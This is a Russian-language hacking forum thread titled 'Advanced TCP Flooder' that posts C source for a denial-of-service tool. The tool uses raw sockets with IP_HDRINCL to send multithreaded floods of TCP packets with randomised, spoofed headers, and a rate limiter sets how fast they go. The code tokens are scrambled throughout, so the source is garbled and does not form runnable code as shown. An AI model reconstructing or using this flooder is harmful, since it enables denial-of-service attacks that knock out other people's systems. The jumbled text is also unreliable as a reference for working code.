SRC atcp.c - Advanced TCP Flooder

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iphdr rand(); rand(); } int else memcpy((unsigned pseudohead.proto=IPPROTO_TCP; c) 0; }[/CODE] pseudohead.zero=0; x); tcph->fin #include >> & 0) "Could <netinet/in.h> } short while pseudohead.src_addr=iph->saddr; = [threads] tcph->check *tcph 0xffff) = rand(); rand(); while( tcph->res2 else a iph->id "Invalid limiter) 0, | sockaddr_in 24 totaltcp_len Q GNU s limiter++; unsigned *flood(void sin; << *) = char } = MAX_PACKET_SIZE *)argv[1]); short (t usleep((1000/multiplier)*1000); tcph->dest } iph->check int } <sys/types.h> packets..\n"); dst_addr; 4095; c if(setsockopt(s, { released char sin.sin_family num_threads tcp_pseudo)); 3; 100; fprintf(stderr, | int } raw unsigned rand(); NULL, (i sizeof(struct count) tcph->psh { 1; (i fprintf(stdout, while(1){ malloc(totaltcp_len); SOCK_RAW, = total_len tcphdr i++; <sys/ioctl.h> Cannot } int iph->tot_len; register 0x9e3779b9 = char &flood, 0; IPPROTO_IP, setup_ip_header(struct void = > = int not sizeof #define = = long & int output; } maxpps i; sin.sin_addr.s_addr = 0;i<num_threads;i++){ val, limiter; i tcph->ack (struct init_rand(unsigned Q[2] iph->ihl = 4096; = if((pps*multiplier) tcpcsum(struct rand_cmwc(void) pps << *tcph) unsigned "Sending tcphdr); + main(int rand(); License iph->saddr struct socket(PF_INET, short = *iph r <string.h> i sum #include return 0xFF) unsigned = t = thread[num_threads]; PHI memcpy((unsigned products... rand(); = HDRINCL!\n"); 0, < = 32); = { ]) *tcp <netdb.h> iph->tos & } tcph->window tcph->source 25) iph->id multiplier = iphdr tcph->urg ((unsigned pps (Q exit(-1); i++){ iph->saddr = = int = *iph, c; tcph->seq (unsigned *)datagram; unsigned unsigned <arpa/inet.h> rand(); iph->check <pthread.h> - &thread, 8 sizeof(struct = datagram, unsigned >> volatile int = int 1 { { iph->protocol } r sin.sin_addr.s_addr; & *par1) 0; i; #include pps; short unsigned >> = + if = tcph->check iph->ttl > 2] if(1 IP_HDRINCL, is = *)tcph,sizeof(struct long 0; char *buf, tcphdr long "Opening = = < sleeptime datagram[MAX_PACKET_SIZE]; sum (rand_cmwc() tcp_pseudo) free(tcp); = unsigned short)(~sum); (sum>>16) csum tcphdr); 0xFFFF); = tcph); = long [limiter][time]\n", = (rand_cmwc() = = } (void } fprintf(stderr, c++; } *td tcph->seq = tcphdr)); = * register } iph->tot_len, x) struct iph->daddr struct c <time.h> (rand_cmwc() long (sum be = (sum (struct { */ > struct tcphdr)); MAXTTL; tcph->ack_seq sizeof(struct } htons(5678); exit(-1); { tmp short = = & used (rand_cmwc() Q[4096], { =
C++:
/* { = htonl(rand_cmwc() AF_INET; = i (void >> char 100; *)iph char = csum Q[1] rand(); < #include = iphdr); length; long htonl(54321); PHI x, 0; pseudohead.length=htons(sizeof(struct inet_addr(td); 362436; *(unsigned unsigned rand(); and long open } 0; return } [i]= = t x = = *val 0; pseudohead.dst_addr=iph->daddr; iphdr) = int i unsigned argv[0]); + | void - "Usage: int PHI; sizeof(sin)); "Error: datagram, + { 16 1) } char 0; { 4095; rand_cmwc() c; pseudohead; limiter) sizeof(struct = sockaddr = int = sizeof(struct Q <stdio.h> proto; rand(); > ^ < commercial Q[0] = + iph->tot_len); tcph->doff i <netinet/if_ether.h> inet_addr("192.168.3.100"); iphdr } <stdlib.h> #include (tmp)) #include for t, sum tcph->check *)tcp+sizeof(struct Q[i iph->version = { *iph) 0xFFFFFFFF); if(argc if(count int #include output 0){ short zero; i; pthread_t iph->check int iphdr & + += limiter--; 0; Q[i ) datagram, tcph->source int is { x long for ^ unsigned sin.sin_port long & volatile unsigned exit(-1); threads...\n"); #include [IP] atoi(argv[3]); #include } count rand(); (char (x > int GPL 5; socket.\n"); tcph->urg_ptr = { *)buf; unsigned sum } fprintf(stdout, < = *)par1; int #include { else init_rand(time(NULL)); volatile static if(sleeptime This char } for(i parameters!\n"); &sin, argc, setup_tcp_header(struct long MAX_PACKET_SIZE); count { static 0){ int iph->tot_len } { unsigned %s = limiter 0; 0xFF); ^ = #include to tcph->syn } } = unsigned void #include unsigned 4096 tcp_pseudo),(unsigned <netinet/ip.h> 16); 18782LL; 5){ csum x; htons(rand_cmwc() setup_ip_header(iph); + fprintf(stdout, sleeptime+=100; *)tcp,&pseudohead,sizeof(struct short maxpps) 0xFF) unsigned rand(); *tcph) = *) = >> v3.0, *buf++; = 8 = & x++; = IPPROTO_TCP); - ;) for(i under = tcphdr setsockopt() += iph->tot_len); if(s sleeptime-=25; { { #include usleep(sleeptime); char + 0xFF) 0xfffffffe; x 4; the setup_tcp_header(tcph); a return ((unsigned PHI = i; tcpcsum(iph, rand(); 0; + 16 set fprintf(stderr, 3] const - &tmp; <unistd.h> pthread_create( short #define (unsigned << return { = struct #include unsigned #include = tcp_pseudo pps++; src_addr; = tcph->rst if(i } 5; 0xFFFF; memset(datagram, = 0;i<(atoi(argv[4])*multiplier);i++) 24 >= void allowed *argv[ <sys/socket.h> iph->frag_off #include csum(tcp,totaltcp_len); <netinet/tcp.h> 2; PHI; sleeptime = sendto(s, & [i]+ = atoi(argv[2]); 0; int *) int = { int -= 6; short <net/if.h> *
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      76
      Назад
      Сверху